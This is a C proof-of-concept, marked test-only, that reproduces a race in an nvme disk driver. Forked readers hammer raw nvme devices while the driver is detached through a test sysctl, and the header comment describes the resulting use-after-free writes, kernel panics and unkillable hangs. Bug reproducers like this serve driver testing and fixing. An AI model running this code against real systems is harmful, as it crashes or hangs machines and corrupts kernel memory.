DF-4646 / nvio.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | /* * nvio.c -- DF-4646 PoC (nvme_disk.c teardown vs in-flight data-path I/O). * * TEST ONLY. * * N processes issue continuous synchronous 128KB raw reads against an * nvme namespace device while the driver is detached underneath them * (hw.nvmebang.action=1). In-flight bios are either: * - completed after kfree(nsc) -> nvme_disk_callback touches freed * softns (devstat_end_transaction_buf UAF-write + biodone), or * - completed via an IRQ on a freed/bzero'd completion queue -> * KKASSERT(comq_tail < nqe) panic, or * - parked in nsc->bioq when kfree happens -> orphaned: reader hangs * forever in biowait (unkillable-style DoS), while the admin thread * races the free in nvme_disk_requeues (lockmgr on freed nsc->lk). * * Readers self-report: pid, latency of each read; parent watches for * readers that never return (hang) after the detach. */ #include <sys/types.h> #include <sys/fcntl.h> #include <sys/time.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <err.h> static void reader(const char *dev, int idx) { char *buf; long n; struct timeval t0, t1; int fd; int iters = 0; buf = malloc(131072); if (buf == NULL) _exit(9); fd = open(dev, O_RDONLY); if (fd < 0) { printf("R%d: open %s: %s\n", idx, dev, strerror(errno)); fflush(stdout); _exit(8); } printf("R%d: open %s fd=%d, spamming 128K reads\n", idx, dev, fd); fflush(stdout); for (;;) { gettimeofday(&t0, NULL); n = pread(fd, buf, 131072, (off_t)(rand() & 0xFFF) * 131072); gettimeofday(&t1, NULL); if (n < 0) { printf("R%d: pread error %s after %d iters\n", idx, strerror(errno), iters); fflush(stdout); /* short pause then retry (EBADF after destroy) */ usleep(200000); } ++iters; if ((iters & 0x3FF) == 0) { long us = (t1.tv_sec - t0.tv_sec) * 1000000 + t1.tv_usec - t0.tv_usec; if (us > 1000000) { printf("R%d: SLOW read %ld us (iter %d)\n", idx, us, iters); fflush(stdout); } } } } int main(int argc, char **argv) { int nread = 16; int i, ndev = 0; char dev[64]; char devs[32][64]; pid_t pid; if (argc > 1) nread = atoi(argv[1]); /* discover live raw nvme nodes (units grow on every re-attach) */ for (i = 0; i < 1024 && ndev < 16; ++i) { snprintf(dev, sizeof(dev), "/dev/nvme%d", i); if (access(dev, F_OK) == 0) snprintf(devs[ndev++], sizeof(devs[0]), "%s", dev); } if (ndev == 0) errx(1, "no /dev/nvme* nodes"); printf("discovered %d nvme nodes: %s ...\n", ndev, devs[0]); fflush(stdout); for (i = 0; i < nread; ++i) { pid = fork(); if (pid == 0) { reader(devs[i % ndev], i); _exit(0); } printf("spawned R%d pid %d on %s\n", i, pid, devs[i % ndev]); } fflush(stdout); pause(); return (0); } |